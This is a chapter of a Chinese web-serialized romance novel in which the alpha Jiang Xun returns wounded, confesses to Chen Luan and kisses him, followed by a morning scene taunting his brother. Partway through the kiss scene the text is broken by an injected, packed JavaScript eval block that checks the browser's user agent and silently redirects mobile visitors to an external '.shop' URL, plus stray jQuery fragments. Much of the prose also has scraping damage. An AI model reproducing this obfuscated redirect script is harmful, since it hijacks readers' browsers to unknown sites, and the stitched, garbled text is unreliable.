客厅的落地灯没关,暖色的灯光从江浔身后漫过来,勾勒出薄绒家居服柔软的轮廓。
鹅黄色的鲷鱼烧薄毯被他抱在怀里,些许踟蹰地站在门边,脚步止在进门的半步之遥,浅琥珀色的眼睛在暖暗的光线下显得亮晶晶的,带着几分期待看向陈乱。
像只乖巧地晃着尾巴等待许可的大型犬。
划动着平板屏幕的手指顿了一下,陈乱的目光落在那张略显苍白的脸上,停顿两秒,扫过被居家服遮盖住了的腰腹的位置:“你伤还没好,万一碰到了……”
“可是我很想你。”
alpha清淡的嗓音落进来,那双眼睛专注而认真地看着陈乱:“我会小心一些的,好吗?”
空气里流淌着一种微妙的安静。
陈乱的眸光闪了闪,想到自己先前收不到江浔的消息时的坐立不安,想到为他处理伤口时一瞬间心口的抽搐,那枚暖橘色的捏捏团子在他胸口毛茸茸地晃过去,又仿佛看到了对方小时候乖巧地任由他处理腿上的伤时候的样子。
片刻后,温暖的卧室里响起一声叹息:“进来吧。”
昏暗的光线里,alpha的唇角轻轻上扬了些许,又迅速抿住。
他抱着毯子放轻脚步进来,将小毯子放在了床尾,刚要上去,却又被陈乱的声音止住。
“过来。”
陈乱将手里的平板放到了一旁的矮柜上,朝着江浔招了招手。
浅琥珀色的眼睛眨了一下,没有提出任何疑问,乖巧地迈步过去,在陈乱面前站定。
居家服是陈乱买的,依旧是毛茸茸的幼稚可爱风格,浅黄色的薄绒布料,连着一个垂着大大的兔耳朵的兜帽,连脚下踩着的拖鞋也是毛绒的。
此时已经比陈乱高出许多的alpha就这样毛茸茸的一大只站在陈乱面前,垂着那双眼睛认真地看着他。
于是陈乱的心头此时也变得毛茸茸的。
被灯光映得如同一块暖玉的手指轻轻触碰上居家服的衣角。
alpha轻轻抿了下唇,眼睛快速地眨了眨。
下一秒,衣服被小心翼翼地掀开了。
陈乱揪着那点衣角,伸手摸了摸那条并没有因为洗澡就变得潮湿的绷带:“伤口没沾水吧?”
“没有。”
头顶上落下来alpha略带了些微哑的嗓音。
“背上呢?”
陈乱又道:“转
过去。
“也没有。
江浔听话地转过身去。
“坐下,我看不到。
“好。
身边的床铺微微塌陷下去,借着床头台灯的光线,陈乱的目光落在alpha线条优美又不失力量感的背上。
除了最新的那条被绷带缠着的伤口,江浔的身上还有其他的一些旧伤,都是在舰队这几年留下的。
陈乱在为他包扎的时候就已经看到了。
舰队的任务很危险吧。
即使是江浔,也要带着一身伤疤回家。
这次是没受感染的轻伤,那下次呢?
这种程度的受伤,在他不在身边的那两年,他又一个人经历了多少次呢?
酸涩和细微的刺痛从胸口漫上来,陈乱的手指轻轻地在背侧那条同样不短的旧疤上抚过,眼眶也开始酸涩。
空间里响起一声叹息:“疼不疼?
受伤的时候疼不疼?
……这些年,一个人处理伤口的时候,
疼不疼?
落在alpha肩头的手指被一只温暖的手掌握住。
布料摩擦的轻响声中背对着陈乱坐在床边的江浔转过身来,牵着陈乱的手贴在自己脸侧,剔透的眼睛垂下来望进陈乱起了雾似的眼睛,轻轻摇了摇头:
“不疼了。
两个人的呼吸随着alpha转身的动作交错在方寸之间。
近在咫尺的那双浅琥珀色的眼睛向上弯起来:“你在心疼我吗,哥哥。
是心疼吗?
陈乱看着那双温和的、含着笑意的眼睛,眼底的情绪闪了闪。
胸腔里仿佛有一只鸽子扑棱着翅膀撞了两下。
砰、
砰砰、
温暖的灯光下,陈乱顿了几秒,忽然弯了下唇角。
“是。
有什么不能承认的呢?
他亲眼看着长大,亲手教会他怎么开枪、怎么开机甲,亲自带出来的小孩,
为什么不能心疼?
话音落下来的那一刻,轻轻的一个字仿佛是一颗投入平静湖面的石子,在温暖的空气荡开层层涟漪,亦揉乱了那双浅琥珀色的眼睛里的平静。
握着陈乱手指尖的手微微收紧起来,预料之外的坦诚甚至让江浔有了片刻的怔愣。
近在迟尺的属于陈乱的温暖味道将他包裹淹没。
“……陈乱。
融化了的心跳声里,江浔的喉结滚了滚,垂下眼帘,目光落在陈乱微微上扬
的唇角。
呼吸靠近。
只是还没来得及贴上去肩头忽然被面前的人推开了些许。
只见陈乱忽然有些不自然地撇过了眼神退开身形坐了回去重新抄起了平板打开:“……还有些资料没看完我小加一会儿班。”
鸦羽一般地睫毛垂落下来灰色的眼睛一眨不眨地盯住屏幕:“你困的话就先休息。”
暖色的灯光里陈乱能清晰地感受到被江浔牵着的那只手上对方掌心传递过来的温度。
布料摩擦的轻响中陈乱感到身边的人贴着他的身侧躺下来空气里的温度有些许升高。
余光里江浔正侧躺在他身边将他的那只手牵着贴在脸侧专注而柔和地望着他:“好。”
只是视线实在是有些无法忽略的灼热。
时间在两个人交错的呼吸声里静静流淌。
房间里只有床头的台灯发出来的温暖光线以及手指尖偶尔戳在屏幕上发出的轻响。
而江浔并没有出声打扰他只是安静地注视着陈乱被光晕映成暖色的侧影目光沿着陈乱的眉眼寸寸触抚。
偶尔轻轻拧起来的眉头偶尔抿起来的唇线以及在灯光下如同蝴蝶翅膀一般翻飞的睫毛心跳声在注视之中也开始发酵、蒸腾
陈乱的手指在屏幕上滑动得越来越慢。
江浔专注的目光存在感实在是有些强以至于有种已经实质化成一道暖流的错觉。
他甚至感到自己的耳根开始有些发热。
几次尝试忽视都做不到的陈乱的手指捏紧了平板的边缘偏过头看向江浔:“你——”
他想说你别看了。
只是alpha比他还要先开口。
“陈乱。”
那双在灯光下流金一般的眼睛正注视着他的眼睛浅色的唇里吐出的是他的名字。
“……”
似乎是被alpha眼里的温度烫了一下似的陈乱微微移开了眼神回到屏幕上喉结不受控制地滚了一下:“做什么?”
身边柔软的床铺陷了陷温暖的手指蹭过他的掌心嵌入到指缝儿里。
“陈乱。”
又喊了一声。
陈乱不得不又抬起眼睛将视线转了回去。
目光相触。
在陈乱忽然快了几分的心跳声里安静的空气里落下来alpha认真的嗓音:
“我喜欢你。”
“……”
灰色的眼睛轻轻地眨了一下,被十指相扣的指尖微微收紧。
有什么声音从胸腔里撞了出来。
砰砰、
砰砰——
“陈乱,我喜欢你。
认真的嗓音里,alpha追着陈乱的眼睛又重复了一遍。
陈乱忽然垂下了眼睛,避过了江浔越发灼热的眼神,抿了下唇:“……嗯。
“知道了。
可是心跳是藏不住的。
被牵着的脉搏也是藏不住的。
屏幕上那些文字那些数据此时仿佛都成了天书,看不懂,也看不进。
耳膜里只剩下自己的心跳声和呼吸声。
直到手里的平板被抽走。
陈乱的手中猝不及防地一空,一抬眼就撞进了一双波光粼粼的雾金色的眼睛里。
“这一页你已经看了很久了哥哥。
带着些笑意的嗓音随着温热的气流落在耳边,一双手臂拢住陈乱,沉香木与龙舌兰的气息向他围拢而来:“明明已经看不进去了,还要继续看吗?
在alpha越靠越近的呼吸里,陈乱下意识偏头想躲,下巴却被轻轻捏住。
“看着我,陈乱。
“你躲什么?
信息素无声地沿着被握住的手腕蔓延,温热的指腹轻轻在手腕内侧摩挲。
交错的目光里,江浔注视着陈乱的眼睛,而后眼睫垂落下来,目光落在陈乱浅色的唇瓣上。
呼吸靠近,交汇。
在咫尺之遥的地方停下,带了些问询。
乱晃的心跳声里,陈乱的手指收紧起来,垂下了眼睛。
像是一种无声的默许。
于是悬停在方寸之间的吻便落了下来。
柔软的试探、
轻盈地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505217|174789||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
触碰、
直到缠绵的厮磨,却又耐心地并不急于闯入。
逐渐融在一处的呼吸里心跳也开始升温。
握在掌心里的手指被撑开,温热的指节钻进指缝里握紧,紧绷着的脊背被安抚一般轻轻抚过,温热的手掌终于贴在了后颈。
直到两个人的呼吸都开始有些沉重。
扣在颈后的手微微用了些力将陈乱拢了过去,江浔揽上了陈乱的腰际,带着一种试探、带着一种邀约,重新含住了陈乱的呼吸。
唇瓣被轻咬,温热的气息试探过来。
陈乱的呼吸一窒,喉结不受控制地滚了滚,胸腔里困着的那只鸽子几乎撞破出来,听到耳畔鼓动的振翅声声。
拢
在腰侧的手臂终于收紧起来,将他压进alpha温暖的怀抱里,在逐渐纠缠着的、混乱起来的呼吸里探寻,又演变成一种温柔却强势的掠夺。
暖而暗的灯光下影子晃动着,窗外的晚风也晃动着。
直到呼吸里的空气被攫取殆尽,陈乱才在已经不稳定的呼吸里偏过头,嗓音里都带了些喑哑:“……好了江浔,停了。
心跳快得几乎从胸腔里撞出来,鼓噪着阵阵蒸腾起来的温度,烧得他眼尾都开始泛起浮红。
还想继续寻过来的江浔的呼吸听话地停下,额头抵着陈乱的额头,鼻尖与鼻尖相触,浅金色的眼瞳里似乎也起了雾:“陈乱。
“……陈乱。
陈乱调整着呼吸抬眼,映近来的是一双波光粼粼的宛如春风融雪一般的浅金色的眼睛。
那双眼睛望着他,向上弯起来,嗓音沙哑得不像话:
“好喜欢你。
在陈乱顷刻间垂落下来的眼睛里,在他烧红的耳畔边,alpha靠近陈乱的耳廓,轻吻了一下晕红的耳尖,又重复一遍:
“好喜欢你。
将他揽入怀中的拥抱里,陈乱没有推开,任由江浔将下巴亲昵地蹭在颈窝里。
胸膛与胸膛相贴,心跳与心跳撞在一处。
直到alpha打算重复第三遍时,陈乱烫红着耳廓抿着唇捂住了江浔的唇:“……好了停。
“我知道了,不用一遍遍地重复。
滚烫的吐息落在掌心,灼热的温度仿佛沿着血管烧向了心口。
陈乱的喉咙滚了滚,垂下眼来躲过了那双追着他的笑意盈盈的眼睛。
“……不早了,休息吧。
那只手被江浔拿下来牵住,又在手背上落下一个轻吻:“好。
顿了一下,他又道:“对不起,让你担心了。手机在撤离的时候摔坏掉了,所以没能第一时间发消息给你报平安。
陈乱愣了半秒,才想起来他刚到家的时候江浔是要说些什么的。
但当时被着急伤势的自己打断了。
暖色的光晕中,他叹息一声,抬手揉了揉江浔的头发:“回来就好。
都不重要,
回来就好。
灯光熄灭了。
只有窗外的月光从云层里探出来,沿着窗帘的缝隙悄然攀上床脚。
温暖而宁谧的房间里呼吸起伏,alpha从背后拥住陈乱,手指轻扣在陈乱的腕间,手臂收紧之间
像是拢住了自己的心脏。
轻软的吻落在怀里的发顶:
“晚安。
晚安,哥哥。
晚安,我的……陈乱。
第二天一早,陈乱是被甜粥的味道香醒的。
他趿着拖鞋迷迷瞪瞪地推开卧室门,江浔正抱着平板坐在沙发里。
看他出来,立刻站起身要给陈乱倒水:“早。要不要先喝点温水?
“唔——
陈乱半眯着眼睛打了个哈欠晃悠到茶几边上:“不用,你还有伤,我自己来。
只是手还没碰到水杯,就听到沙发上的平板响起一阵通话铃声。
“谁啊。
“骚扰电话。
江浔摸起来平板利落地挂掉,目光平静:“手机坏了,所以先用平板登了社交账号。等下出去再买台新的。
于此同时,远在追猎者特战队宿舍的江翎看着屏幕上红彤彤的【对方已拒绝您的通话】,缓缓眯起了眼。
历史消息记录里,有几条来自刚刚的新讯息。
【江浔:还活着。】
【江浔:任务结束了,刚在家里睡醒。】
【江浔:[图片]】
【江浔:在忙,有事下午再说^-^】
图片上是两只十指相扣交叠着的手。
与当初江翎挑衅江浔的那张如出一辙。